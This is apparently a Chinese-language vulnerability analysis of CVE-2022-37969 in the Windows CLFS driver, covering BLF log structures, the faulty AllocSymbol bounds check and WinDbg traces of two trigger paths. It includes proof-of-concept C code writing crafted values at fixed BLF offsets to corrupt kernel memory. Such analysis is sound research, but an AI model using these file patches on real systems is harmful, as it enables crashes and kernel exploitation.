CVE-2022-37969

基本信息

blf日志文件结构

基本日志块存储了基本日志文件关联的客户端和容器上下文信息

基本日志块由6个meta数据块组成,分别是控制块、基本块、截断块以及对应的shadow块,每个块由日志块头开始,大小为0x70 bytes

日志块头定义:

typedef struct _CLFS_LOG_BLOCK_HEADER
{
    UCHAR MajorVersion;
    UCHAR MinorVersion;
    UCHAR Usn;
    CLFS_CLIENT_ID ClientId;
    USHORT TotalSectorCount;
    USHORT ValidSectorCount;
    ULONG Padding;
    ULONG Checksum;
    ULONG Flags;
    CLFS_LSN CurrentLsn;
    CLFS_LSN NextLsn;
    ULONG RecordOffsets[16];
    ULONG SignaturesOffset;
} CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;

内存布局

SignatureOffset是了在内存中存储每个扇区签名的数组的偏移。扇区签名位于每个扇区的末尾,大小两个字节,由扇区块类型(1 字节)和 USN(1 字节)组成。每个扇区大小为0x200。

在BLF文件中,基本块从偏移0x800开始,到0x81FF,以日志块头开始,然后是基本记录头

基本记录头定义如下,大小为1338,到偏移1BA8处

typedef struct _CLFS_METADATA_RECORD_HEADER
{
	ULONGLONG ullDumpCount;
} CLFS_METADATA_RECORD_HEADER, * PCLFS_METADATA_RECORD_HEADER;

typedef struct _CLFS_BASE_RECORD_HEADER
{
	CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
	CLFS_LOG_ID cidLog;
	ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];
	ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
	ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
	ULONG cNextContainer;
	CLFS_CLIENT_ID cNextClient;
	ULONG cFreeContainers;
	ULONG cActiveContainers;
	ULONG cbFreeContainers;
	ULONG cbBusyContainers;
	ULONG rgClients[MAX_CLIENTS_DEFAULT];
	ULONG rgContainers[MAX_CONTAINERS_DEFAULT];
	ULONG cbSymbolZone;
	ULONG cbSector;
	USHORT bUnused;
	CLFS_LOG_STATE eLogState;
	UCHAR cUsn;
	UCHAR cClients;
} CLFS_BASE_RECORD_HEADER, * PCLFS_BASE_RECORD_HEADER;

内存布局:

此次漏洞重点字段:

  • rgContainers

    存储了CLFS_CONTAINER_CONTEXT数组相对于基本块的偏移

  • rgClients

    存储了_CLFS_CLIENT_CONTEXT 数组相对于基本块的偏移

  • cbSymbolZone

    表示符号区中下一个可用的空闲偏移量,用于存储新符号。

基本记录中,client context, container context, shared security context由symbols表示,在symbols前面是CLFSHASHSYM结构

typedef struct _CLFS_NODE_ID {
  ULONG cType;
  ULONG cbNode;
} CLFS_NODE_ID, *PCLFS_NODE_ID;

typedef struct _CLFSHASHSYM
{
    CLFS_NODE_ID cidNode;
    ULONG ulHash;
    ULONG cbHash;
    ULONGLONG ulBelow;
    ULONGLONG ulAbove;
    LONG cbSymName;
    LONG cbOffset;
    BOOLEAN fDeleted;
} CLFSHASHSYM, *PCLFSHASHSYM;

内存布局

在基本记录中,client context标示一个日志文件的client。client context结构如下

typedef struct _CLFS_NODE_ID {
  ULONG cType;
  ULONG cbNode;
} CLFS_NODE_ID, *PCLFS_NODE_ID;

typedef struct _CLFS_CLIENT_CONTEXT
{
    CLFS_NODE_ID cidNode;
    CLFS_CLIENT_ID cidClient;
    USHORT fAttributes;
    ULONG cbFlushThreshold;
    ULONG cShadowSectors;
    ULONGLONG cbUndoCommitment;
    LARGE_INTEGER llCreateTime;
    LARGE_INTEGER llAccessTime;
    LARGE_INTEGER llWriteTime;
    CLFS_LSN lsnOwnerPage;
    CLFS_LSN lsnArchiveTail;
    CLFS_LSN lsnBase;
    CLFS_LSN lsnLast;
    CLFS_LSN lsnRestart;
    CLFS_LSN lsnPhysicalBase;
    CLFS_LSN lsnUnused1;
    CLFS_LSN lsnUnused2;
    CLFS_LOG_STATE eState; //+0x78
    union
    {
        HANDLE hSecurityContext;
        ULONGLONG ullAlignment;
    };
} CLFS_CLIENT_CONTEXT, *PCLFS_CLIENT_CONTEXT;

container context结构和日志文件添加容器有关,container context结构

typedef struct _CLFS_CONTAINER_CONTEXT
{
    CLFS_NODE_ID cidNode; //8 bytes
    ULONGLONG cbContainer; //8 bytes
    CLFS_CONTAINER_ID cidContainer; // 4 bytes
    CLFS_CONTAINER_ID cidQueue; // 4 bytes
    union
    {
        CClfsContainer* pContainer; //8 bytes
        ULONGLONG ullAlignment;
    };
    CLFS_USN usnCurrent;
    CLFS_CONTAINER_STATE eState;
    ULONG cbPrevOffset; //4 bytes
    ULONG cbNextOffset; //4 bytes
} CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT;

内存布局

其中pContainer是指向CClfsContainer对象的指针

漏洞点

该处获取通过GetBaseLogRecord函数获取BaseLogRecord,之后的cbSymbolZone,判断cbSymbolZone+v4是否大于SignaturesOffset的,如果判断通过则通过memset将BaseLogRecord+cbSymbolZone内存清零,大小为v4。

__int64 __fastcall CClfsBaseFilePersisted::AllocSymbol(CClfsBaseFilePersisted *this, unsigned int a2, void **a3)
{
  __int64 v4; // rbp
  CLFS_BASE_RECORD_HEADER *BaseLogRecord; // rax
  __int64 v6; // r8 this指针
  CLFS_BASE_RECORD_HEADER *v7; // rdi
  CLFS_LOG_BLOCK_HEADER *v8; // rcx
  __int64 cbSymbolZone; // r8
  char *v10; // rbx
  __int64 result; // rax

  v4 = a2;
  BaseLogRecord = (CLFS_BASE_RECORD_HEADER *)CClfsBaseFile::GetBaseLogRecord(this);
  v7 = BaseLogRecord;
  if ( !BaseLogRecord )
    return 3222929421i64;
  v8 = *(CLFS_LOG_BLOCK_HEADER **)(*(_QWORD *)(v6 + 48) + 48i64);
  *a3 = 0i64;
  cbSymbolZone = BaseLogRecord->cbSymbolZone;
  if ( (char *)&BaseLogRecord[1] + cbSymbolZone + v4 > (char *)(&v8+ v8->SignaturesOffset) )
    return 3221225507i64;
// ffff970a`4995b000  15 00 03 00 3d 00 3d 00-00 00 00 00 00 00 00 00  ....=.=.........
// ffff970a`4995b010  02 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff  ................
// ffff970a`4995b020  00 00 00 00 ff ff ff ff-70 00 00 00 00 00 00 00  ........p.......
// ffff970a`4995b030  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
// ffff970a`4995b040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
// ffff970a`4995b050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
// ffff970a`4995b060  00 00 00 00 00 00 00 00-80 79 00 00 00 00 00 00  .........y......
// ffff970a`4995b070  05 00 00 00 00 00 00 00-aa fb b6 33 fa f9 ed 11  ...........3....
  v10 = (char *)&BaseLogRecord[1] + cbSymbolZone;
  memset(v10, 0, (unsigned int)v4);
  v7->cbSymbolZone += v4;
  result = 0i64;
  *a3 = v10;
  return result;
}

影响版本

环境搭建

  • Windows 10 21H2
  • windbg

技术分析&调试

基于该漏洞点有两种利用方式,第一种将cbSymbolZone修改为自身的CLFS_CONTAINER_CONTEXT->pContainer结构偏移,由于CLFS_CONTAINER_CONTEXT内存有Container context对象指针。使用memset清空该指针,当解引用该指针将触发异常,导致蓝屏。

第二种将cbSymbolZone 修改为下个BLF文件的CLFS_CONTAINER_CONTEXT->pContainer结构偏移,利用漏洞将该指针清零,解引用第二个BLF文件的CLFS_CONTAINER_CONTEXT->pContainer 将导致蓝屏,这种方式利用需要绕过(char *)&BaseLogRecord[1] + cbSymbolZone + v4 > (char *)(&v8+ v8->SignaturesOffset)

第一种利用方式

在调试中发现CLFS_CONTAINER_CONTEXT结构距离CLFS_BASE_RECORD_HEADER结束为0x128,pContainer指针距离CLFS_BASE_RECORD_HEADER为0x130,此处要清空高四位(内核解引用指针会校验指针是否为NULL,所以不能把所有的位都清零),则应设为144。

1: kd> dq ffff970a4995c4d0
ffff970a`4995c4d0  00000030`c1fdf008 00000000`00080000
ffff970a`4995c4e0  00000000`00000000 00000000`45f7cd40
ffff970a`4995c4f0  00000000`00000000 00000000`00000000
ffff970a`4995c500  00000000`00000000 00000000`00000000
ffff970a`4995c510  00000000`00000000 00000000`00000000
ffff970a`4995c520  00000000`00000000 00000000`00000000
ffff970a`4995c530  00000000`00000000 00000000`00000000
ffff970a`4995c540  00000000`00000000 00000000`00000000
1: kd> rr8
r8=000000000000000c
1: kd> rrdi
rdi=ffff970a4995b070
1: kd> ?ffff970a`4995c4d0-ffff970a4995b070
Evaluate expression: 5216 = 00000000`00001460
1: kd> ?00000000`00001460-0x1338
Evaluate expression: 296 = 00000000`00000128

clfs!CClfsBaseFilePersisted::AllocSymbol下断点,运行PoC

bp clfs!CClfsBaseFilePersisted::AllocSymbol

CLFS!CClfsBaseFilePersisted::AllocSymbol通过调用CLFS!CClfsBaseFile::GetBaseLogRecord获取到了基本记录头,可以看到_CLFS_BASE_RECORD_HEADER→cbSymbolZone已被设为144

1: kd> db rax
ffffbd84`4f383070  05 00 00 00 00 00 00 00-a1 a9 21 b4 31 0f ee 11  ..........!.1...
ffffbd84`4f383080  bc 69 00 0c 29 07 fc 32-00 00 00 00 00 00 00 00  .i..)..2........
ffffbd84`4f383090  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbd84`4f3830a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbd84`4f3830b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbd84`4f3830c0  00 00 00 00 00 00 00 00-38 13 00 00 00 00 00 00  ........8.......
ffffbd84`4f3830d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbd84`4f3830e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
1: kd> db rax + 0x1328
ffffbd84`4f384398  44 01 00 00 00 00 00 00-00 00 03 01 01 00 00 00  D...............
ffffbd84`4f3843a8  06 f0 fd c1 30 00 00 00-16 00 d2 02 b8 00 00 00  ....0...........
ffffbd84`4f3843b8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbd84`4f3843c8  f0 13 00 00 68 13 00 00-00 00 00 00 00 00 00 00  ....h...........
ffffbd84`4f3843d8  07 f0 fd c1 88 00 00 00-00 00 00 01 40 9c 00 00  ............@...
ffffbd84`4f3843e8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbd84`4f3843f8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffbd84`4f384408  00 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff  ................

而后对BaseLogRecord+0x1338+cbSymbolZone处大小为v4的内存调用memset清零

v4 = a2;
  BaseLogRecord = (CLFS_BASE_RECORD_HEADER *)CClfsBaseFile::GetBaseLogRecord(this);
  v7 = BaseLogRecord;
  if ( !BaseLogRecord )
    return 3222929421i64;
  v8 = *(CLFS_LOG_BLOCK_HEADER **)(*(_QWORD *)(v6 + 48) + 48i64);
  *a3 = 0i64;
  cbSymbolZone = BaseLogRecord->cbSymbolZone;
  if ( (char *)&BaseLogRecord[1] + cbSymbolZone + v4 > (char *)(&v8->MajorVersion + v8->SignaturesOffset) )
    return 3221225507i64;
  v10 = (char *)&BaseLogRecord[1] + cbSymbolZone;
  memset(v10, 0, (unsigned int)v4);

在调试器中可以看到rcx指向了CLFS_CONTAINER_CONTEXT->pContainer 的高四位。

1: kd> dd rcx - 0x1c
ffffbd84`4f3844d0  c1fdf008 00000030 00080000 00000000
ffffbd84`4f3844e0  00000000 00000000 4bd8b7c0 ffffbd84
ffffbd84`4f3844f0  00000001 00000002 00000000 00000000
ffffbd84`4f384500  003f005c 005c003f 003a0043 0055005c
ffffbd84`4f384510  00650073 00730072 0050005c 00620075
ffffbd84`4f384520  0069006c 005c0063 0063002e 006e006f
ffffbd84`4f384530  00610074 006e0069 00720065 0031005f
ffffbd84`4f384540  00310034 00000000 00000000 00000000
1: kd> u
CLFS!CClfsBaseFilePersisted::AllocSymbol+0x67:
fffff801`270d0207 e874c8fcff      call    CLFS!memset (fffff801`2709ca80)
fffff801`270d020c 01af28130000    add     dword ptr [rdi+1328h],ebp
fffff801`270d0212 33c0            xor     eax,eax
fffff801`270d0214 48891e          mov     qword ptr [rsi],rbx
fffff801`270d0217 488b5c2430      mov     rbx,qword ptr [rsp+30h]
fffff801`270d021c 488b6c2438      mov     rbp,qword ptr [rsp+38h]
fffff801`270d0221 488b742440      mov     rsi,qword ptr [rsp+40h]
fffff801`270d0226 4883c420        add     rsp,20h

继续运行,memset已经将该指针的高四位清零

1: kd> p
CLFS!CClfsBaseFilePersisted::AllocSymbol+0x6c:
fffff801`270d020c 01af28130000    add     dword ptr [rdi+1328h],ebp
1: kd> dd ffffbd84`4f3844d0
ffffbd84`4f3844d0  c1fdf008 00000030 00080000 00000000
ffffbd84`4f3844e0  00000000 00000000 4bd8b7c0 00000000
ffffbd84`4f3844f0  00000000 00000000 00000000 00000000
ffffbd84`4f384500  00000000 00000000 00000000 00000000
ffffbd84`4f384510  00000000 00000000 00000000 00000000
ffffbd84`4f384520  00000000 00000000 00000000 00000000
ffffbd84`4f384530  00000000 00000000 00000000 00000000
ffffbd84`4f384540  00000000 00000000 00000000 00000000

继续运行则触发异常

1: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffb807`d4c5f6d8 fffff801`28112c22     nt!DbgBreakPointWithStatus
01 ffffb807`d4c5f6e0 fffff801`28112206     nt!KiBugCheckDebugBreak+0x12
02 ffffb807`d4c5f740 fffff801`27ff89c7     nt!KeBugCheck2+0x946
03 ffffb807`d4c5fe50 fffff801`2800a869     nt!KeBugCheckEx+0x107
04 ffffb807`d4c5fe90 fffff801`28009cbc     nt!KiBugCheckDispatch+0x69
05 ffffb807`d4c5ffd0 fffff801`280017af     nt!KiSystemServiceHandler+0x7c
06 ffffb807`d4c60010 fffff801`27ee2467     nt!RtlpExecuteHandlerForException+0xf
07 ffffb807`d4c60040 fffff801`27ee1066     nt!RtlDispatchException+0x297
08 ffffb807`d4c60760 fffff801`2800a9ac     nt!KiDispatchException+0x186
09 ffffb807`d4c60e20 fffff801`28006b43     nt!KiExceptionDispatch+0x12c
0a ffffb807`d4c61000 fffff801`270cb2d5     nt!KiPageFault+0x443
0b ffffb807`d4c61190 fffff801`27098655     CLFS!CClfsContainer::Close+0xd
0c ffffb807`d4c611c0 fffff801`270987b6     CLFS!CClfsLogFcbPhysical::CloseContainers+0x69
0d ffffb807`d4c611f0 fffff801`27098761     CLFS!CClfsLogFcbPhysical::Finalize+0x42
0e ffffb807`d4c61220 fffff801`270bdf42     CLFS!CClfsLogFcbPhysical::Release+0xb1
0f ffffb807`d4c61280 fffff801`270c0878     CLFS!CClfsRequest::Close+0xd6
10 ffffb807`d4c612d0 fffff801`270c0747     CLFS!ClfsDispatchIoRequest+0x108
11 ffffb807`d4c61320 fffff801`27eabac5     CLFS!CClfsDriver::LogIoDispatch+0x27
12 ffffb807`d4c61350 fffff801`281f088f     nt!IofCallDriver+0x55
13 ffffb807`d4c61390 fffff801`28219af0     nt!IopDeleteFile+0x14f
14 ffffb807`d4c61410 fffff801`27eae1a7     nt!ObpRemoveObjectRoutine+0x80
15 ffffb807`d4c61470 fffff801`28222449     nt!ObfDereferenceObjectWithTag+0xc7
16 ffffb807`d4c614b0 fffff801`282e3745     nt!ObCloseHandleTableEntry+0x6c9
17 ffffb807`d4c615f0 fffff801`2828fadd     nt!ExSweepHandleTable+0xd5
18 ffffb807`d4c616a0 fffff801`282b6d98     nt!ObKillProcess+0x35
19 ffffb807`d4c616d0 fffff801`282760f6     nt!PspRundownSingleProcess+0x204
1a ffffb807`d4c61760 fffff801`282777f8     nt!PspExitThread+0x5f6
1b ffffb807`d4c61860 fffff801`27eb4d77     nt!KiSchedulerApcTerminate+0x38
1c ffffb807`d4c618a0 fffff801`27ffce90     nt!KiDeliverApc+0x487
1d ffffb807`d4c61950 fffff801`2800a35f     nt!KiInitiateUserApc+0x70
1e ffffb807`d4c61a90 00007ffd`40c90994     nt!KiSystemServiceExit+0x9f
1f 0000005f`4e1ffa88 00007ffd`40c42dc7     ntdll!NtWaitForWorkViaWorkerFactory+0x14
20 0000005f`4e1ffa90 00007ffd`40497034     ntdll!TppWorkerThread+0x2f7
21 0000005f`4e1ffd90 00000000`00000000     0x00007ffd`40497034

CClfsLogFcbPhysical::CloseContainers查看伪代码可知,通过CClfsBaseFile::AcquireContainerContext函数获取到container context并存在v7变量中,而后将v7→pContainer指针取出,如果该指针不为零则将其传入CClfsContainer::Close

__int64 __fastcall CClfsLogFcbPhysical::CloseContainers(CClfsLogFcbPhysical *this)
{
  int v1; // esi
  unsigned int v2; // edi
  struct _CLFS_CONTAINER_CONTEXT *v4; // rbp
  CClfsContainer *v5; // rcx
  struct _CLFS_CONTAINER_CONTEXT *v7; // [rsp+30h] [rbp+8h] BYREF

  v7 = 0i64;
  v1 = 0;
  v2 = *((_DWORD *)this + 341);
  if ( v2 >= *((_DWORD *)this + 340) )
    return (unsigned int)v1;
  while ( 1 )
  {
    v1 = CClfsBaseFile::AcquireContainerContext(
           *((CClfsBaseFile **)this + 85),
           *((_DWORD *)this + (v2 & 0x3FF) + 342),
           &v7);
    if ( v1 < 0 )
      break;
    v4 = v7;
    if ( !v7 )
      break;
    v5 = (CClfsContainer *)*((_QWORD *)v7 + 3);
    if ( v5 )
    {
      CClfsContainer::Close(v5);
      (*(void (__fastcall **)(_QWORD))(**((_QWORD **)v4 + 3) + 8i64))(*((_QWORD *)v4 + 3));
      *((_QWORD *)v4 + 3) = 0i64;
    }
    CClfsBaseFile::ReleaseContainerContext(*((CClfsBaseFile **)this + 85), &v7);
    if ( ++v2 >= *((_DWORD *)this + 340) )
      return (unsigned int)v1;
  }
  return 3222929421i64;
}

由于前面将这个指针的高四位清零,所以传入CClfsContainer::Close函数的指针为0x03

1: kd> rrcx
rcx=0000000000000003
1: kd> u
CLFS!CClfsLogFcbPhysical::CloseContainers+0x69:
fffff801`27098655 488b4d18        mov     rcx,qword ptr [rbp+18h]
fffff801`27098659 488b01          mov     rax,qword ptr [rcx]
fffff801`2709865c 488b4008        mov     rax,qword ptr [rax+8]
fffff801`27098660 ff156abf0100    call    qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff801`270b45d0)]
fffff801`27098666 4883651800      and     qword ptr [rbp+18h],0
fffff801`2709866b 488b8ba8020000  mov     rcx,qword ptr [rbx+2A8h]
fffff801`27098672 488d542430      lea     rdx,[rsp+30h]
fffff801`27098677 e8cc9d0200      call    CLFS!CClfsBaseFile::ReleaseContainerContext (fffff801`270c2448)

CClfsContainer::Close函数内对该指针解引用,导致异常

CLFS!CClfsContainer::Close:
fffff801`270cb2c8 48895c2408         mov     qword ptr [rsp+8], rbx
fffff801`270cb2cd 57                 push    rdi
fffff801`270cb2ce 4883ec20           sub     rsp, 20h
fffff801`270cb2d2 488bd9             mov     rbx, rcx
fffff801`270cb2d5 488b4920           mov     rcx, qword ptr [rcx+20h]

第二种方式

第二种方式是修改cbSymbolZone 为超大的值,使得BaseLogRecord+0x1338+cbSymbolZone 能够到达下一个BaseLogRecordcontainer context,并利用memsetcontainer_context→pContainer指针的高四位清零。

CLFS!CClfsBaseFilePersisted::ReadMetadataBlock断点

bp CLFS!CClfsBaseFilePersisted::ReadMetadataBlock

运行PoC,在ReadMetadataBlock断下

1: kd> rrdx
rdx=0000000000007a00
1: kd> k
 # Child-SP          RetAddr               Call Site
00 fffff389`53916f50 fffff806`62d9a395     CLFS!CClfsBaseFilePersisted::ReadMetadataBlock+0xaa
01 fffff389`53916ff0 fffff806`62d9a204     CLFS!CClfsBaseFile::AcquireMetadataBlock+0x45
02 fffff389`53917020 fffff806`62d99c36     CLFS!CClfsBaseFilePersisted::ReadImage+0x1e8
03 fffff389`53917080 fffff806`62d62da2     CLFS!CClfsBaseFilePersisted::OpenImage+0x2fa
04 fffff389`53917100 fffff806`62d8eaeb     CLFS!CClfsLogFcbPhysical::Initialize+0x326
05 fffff389`53917240 fffff806`62d90a2b     CLFS!CClfsRequest::Create+0x4ef
06 fffff389`53917390 fffff806`62d907f7     CLFS!CClfsRequest::Dispatch+0x97
07 fffff389`539173e0 fffff806`62d90747     CLFS!ClfsDispatchIoRequest+0x87
08 fffff389`53917430 fffff806`668abac5     CLFS!CClfsDriver::LogIoDispatch+0x27
09 fffff389`53917460 fffff806`668629a4     nt!IofCallDriver+0x55
0a fffff389`539174a0 fffff806`66bf1dfd     nt!IoCallDriverWithTracing+0x34
0b fffff389`539174f0 fffff806`66c20cbe     nt!IopParseDevice+0x117d
0c fffff389`53917660 fffff806`66c01d3a     nt!ObpLookupObjectName+0x3fe
0d fffff389`53917830 fffff806`66c88f0f     nt!ObOpenObjectByNameEx+0x1fa
0e fffff389`53917960 fffff806`66c88ae9     nt!IopCreateFile+0x40f
0f fffff389`53917a00 fffff806`66a0a2b5     nt!NtCreateFile+0x79
10 fffff389`53917a90 00007ffa`91b0d9e4     nt!KiSystemServiceCopyEnd+0x25
11 00000058`ec6fe888 00007ffa`8bc92199     ntdll!NtCreateFile+0x14
12 00000058`ec6fe890 00000000`00000000     0x00007ffa`8bc92199
1: kd> u
CLFS!CClfsBaseFilePersisted::ReadMetadataBlock+0xaa:
fffff806`62d940ba e8a1e02104      call    nt!ExAllocatePoolWithTag (fffff806`66fb2160)
fffff806`62d940bf 488bf0          mov     rsi,rax
fffff806`62d940c2 4889442438      mov     qword ptr [rsp+38h],rax
fffff806`62d940c7 4885c0          test    rax,rax

ReadMetadataBlock调用nt!ExAllocatePoolWithTag分配内核堆存储基本记录,调试器中可以看到内存分配在ffffab0523ecf000

1: kd> p
CLFS!CClfsBaseFilePersisted::ReadMetadataBlock+0xaf:
fffff806`62d940bf 488bf0          mov     rsi,rax
1: kd> rrax
rax=ffffab0523ecf000

在下面两个地方下断点

ba w8 ffffab0523ecf000+0x68
ba w8 ffffab0523ecf000+0x200*0xE-0x8

这两个地方分别是LogBlockHeader→SignatureOffset和第十四个扇区签名的位置(0xc*0x200 + 0x1fe)

继续运行,在第二个断点断下,调用栈:

1: kd> k
 # Child-SP          RetAddr               Call Site
00 fffff389`539170c0 fffff806`62d63672     CLFS!CClfsLogFcbPhysical::ResetLog+0x100
01 fffff389`53917100 fffff806`62d8eaeb     CLFS!CClfsLogFcbPhysical::Initialize+0xbf6
02 fffff389`53917240 fffff806`62d90a2b     CLFS!CClfsRequest::Create+0x4ef
03 fffff389`53917390 fffff806`62d907f7     CLFS!CClfsRequest::Dispatch+0x97
04 fffff389`539173e0 fffff806`62d90747     CLFS!ClfsDispatchIoRequest+0x87
05 fffff389`53917430 fffff806`668abac5     CLFS!CClfsDriver::LogIoDispatch+0x27
06 fffff389`53917460 fffff806`668629a4     nt!IofCallDriver+0x55
07 fffff389`539174a0 fffff806`66bf1dfd     nt!IoCallDriverWithTracing+0x34
08 fffff389`539174f0 fffff806`66c20cbe     nt!IopParseDevice+0x117d
09 fffff389`53917660 fffff806`66c01d3a     nt!ObpLookupObjectName+0x3fe
0a fffff389`53917830 fffff806`66c88f0f     nt!ObOpenObjectByNameEx+0x1fa
0b fffff389`53917960 fffff806`66c88ae9     nt!IopCreateFile+0x40f
0c fffff389`53917a00 fffff806`66a0a2b5     nt!NtCreateFile+0x79
0d fffff389`53917a90 00007ffa`91b0d9e4     nt!KiSystemServiceCopyEnd+0x25
0e 00000058`ec6fe888 00007ffa`8bc92199     ntdll!NtCreateFile+0x14
0f 00000058`ec6fe890 00000000`00000000     0x00007ffa`8bc92199

1: kd> ub
CLFS!CClfsLogFcbPhysical::ResetLog+0xd7:
fffff806`62d7151b 48894140        mov     qword ptr [rcx+40h],rax
fffff806`62d7151f 488b83d8010000  mov     rax,qword ptr [rbx+1D8h]
fffff806`62d71526 48894148        mov     qword ptr [rcx+48h],rax
fffff806`62d7152a 488b83e8010000  mov     rax,qword ptr [rbx+1E8h]
fffff806`62d71531 48894150        mov     qword ptr [rcx+50h],rax
fffff806`62d71535 488b83f0010000  mov     rax,qword ptr [rbx+1F0h]
**fffff806`62d7153c 48894158        mov     qword ptr [rcx+58h],rax**
fffff806`62d71540 806178df        and     byte ptr [rcx+78h],0DFh

1: kd> rrcx
rcx=ffffab0523ed0ba0

继续运行,rcx+0x58的位置已经被0xFFFFFFFF00000000覆盖了,而rcx+0x5e = ffffab0523ecf000 + 0xd * 0x200 + 0x1FE,也就是rcx+0x5e位于第十四扇区签名处,此时这个签名已经被0xFFFF覆盖了。

1: kd> db rcx
ffffab05`23ed0ba0  07 f0 fd c1 88 00 00 00-00 00 00 01 00 00 00 00  ................
ffffab05`23ed0bb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffab05`23ed0bc0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffab05`23ed0bd0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffab05`23ed0be0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffab05`23ed0bf0  00 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff  ................
ffffab05`23ed0c00  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffab05`23ed0c10  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

对应伪代码如下

__int64 __fastcall CClfsLogFcbPhysical::ResetLog(CClfsLogFcbPhysical *this)
{
  struct _CLFS_CLIENT_CONTEXT *v2; // rcx
 .
  *((CLFS_LSN *)this + 62) = CLFS_LSN_INVALID;  // FF FF FF FF 00 00 00 00
 .....
  v2->lsnRestart.Internal = *((_QWORD *)this + 62);// 58h的偏移

  v2->eState &= ~0x20u;
  CClfsBaseFile::ReleaseClientContext(*((CClfsBaseFile **)this + 85), &v7);
  CClfsBaseFilePersisted::ResetContainerQ(
    *((CClfsBaseFilePersisted **)this + 85),
    (unsigned int *const)this + 342,
    v4,
    (unsigned int *)this + 340,
    (unsigned int *)this + 341);
  v5 = CClfsBaseFilePersisted::IncrementUsn(*((CClfsBaseFilePersisted **)this + 85));
  v6 = (CClfsBaseFilePersisted *)*((_QWORD *)this + 85);
  *((_BYTE *)this + 657) = v5;
  *((_BYTE *)this + 657) = CClfsBaseFilePersisted::IncrementUsn(v6);
  return 0i64;
}

现在有三个问题:

  • 为什么CLIENT_CONTEXT→lsnRestart.Internal会和第十四个扇区签名重叠
  • 怎么调用到ResetLog函数导致重叠区域被重置为0xFFFF
  • 为什么重叠的是第十四个不是其他

回到PoC中,首先将BLF文件内偏移0x9A8,这是CLFS_BASE_RECORD_HEADER→rgClients ,该处伪造了假的client context偏移0x1b30

	char checkSum[] = { 0x00, 0x00, 0x00, 0x00 }; // {0x59, 0xdf, 0x44, 0x06}; // offset 0x80c
	char signaturOffset[] = { 0x50, 0x00, 0x00, 0x00 }; // offset 0x868
	char ccoffsetArray[] = { 0x30, 0x1b, 0x00, 0x00 }; // offset 0x9a8
	char cbsymbolZone[] = { 0x4b, 0x11, 0x01, 0x00 }; // offset 0x1b98
	char blockNameoffset[] = { 0xb8, 0x1b, 0x00, 0x00 }; // offset 0x2390
	char blockAtributeoffset[] = { 0x30, 0x1b, 0x00, 0x00 }; // offset 0x2394

	_wfopen_s(&pFile, stored_env_open, L"r+");
	if (pFile == 0) {
		printf("Cant't open file, error %x\n", GetLastError());
		//	getchar();
		exit(1);
	}
	printf("[+] file successfully opened\n");

	// 校验和
	fseek(pFile, 0x80c, SEEK_SET);
	fwrite(checkSum, sizeof(char), sizeof(checkSum), pFile);

	// Signature 值
	fseek(pFile, 0x868, SEEK_SET);
	fwrite(signaturOffset, sizeof(char), sizeof(signaturOffset), pFile);

	// client context的偏移
	fseek(pFile, 0x9a8, SEEK_SET);
	fwrite(ccoffsetArray, sizeof(char), sizeof(ccoffsetArray), pFile);

	// cbsymbolZone偏移,写入恶意的cbsymbolZone
	fseek(pFile, 0x1b98, SEEK_SET);
	fwrite(cbsymbolZone, sizeof(char), sizeof(cbsymbolZone), pFile);

	fseek(pFile, 0x2390, SEEK_SET);
	fwrite(blockNameoffset, sizeof(char), sizeof(blockNameoffset), pFile);

	fseek(pFile, 0x2394, SEEK_SET);
	fwrite(blockAtributeoffset, sizeof(char), sizeof(blockAtributeoffset), pFile);

而后在偏移0x23a0(0x1b30+0x870)处伪造假的client context,伪造的假client context需要有正确的client context头,将原client context复制过去即可。此时client context→lsnRestart.Internal = 0x23a0 + 0x58 = 23f8,位于基本记录的0x1bf8处,第14个扇区的扇区签名位于0xd * 0x200 + 0x1fe=1BFEclient context→lsnRestart.Internal 大小八个字节,刚好高二位能够覆盖到扇区签名。

	char fakeClientcontext[] = { 0x07, 0xf0, 0xfd, 0xc1, 0x88 }; // offset 0x23a0
	char fakeClientcontext2[] = { 0x01, 0x00, 0x00, 0x00 }; // offset 0x23ab
	char fakeClientcontext3[] = { 0x20, 0x00, 0x00, 0x00 }; // offset 0x2418

// Client context,伪造假的Client context头
	fseek(pFile, 0x23a0, SEEK_SET);
	fwrite(fakeClientcontext, sizeof(char), sizeof(fakeClientcontext), pFile);

	// Client context,伪造假的Client context头
	fseek(pFile, 0x23ab, SEEK_SET);
	fwrite(fakeClientcontext2, sizeof(char), sizeof(fakeClientcontext2), pFile);

	// Client context,伪造假的值,使得程序进入ResetLog
	fseek(pFile, 0x2418, SEEK_SET);
	fwrite(fakeClientcontext3, sizeof(char), sizeof(fakeClientcontext3), pFile);

而ResetLog中要覆盖八个字节,刚好将第十四个扇区签名覆盖为0xFFFF

  v2->lsnRestart.Internal = *((_QWORD *)this + 62);// 58h的偏移
__int64 __fastcall CClfsLogFcbPhysical::Initialize(
        ULONG_PTR a1,
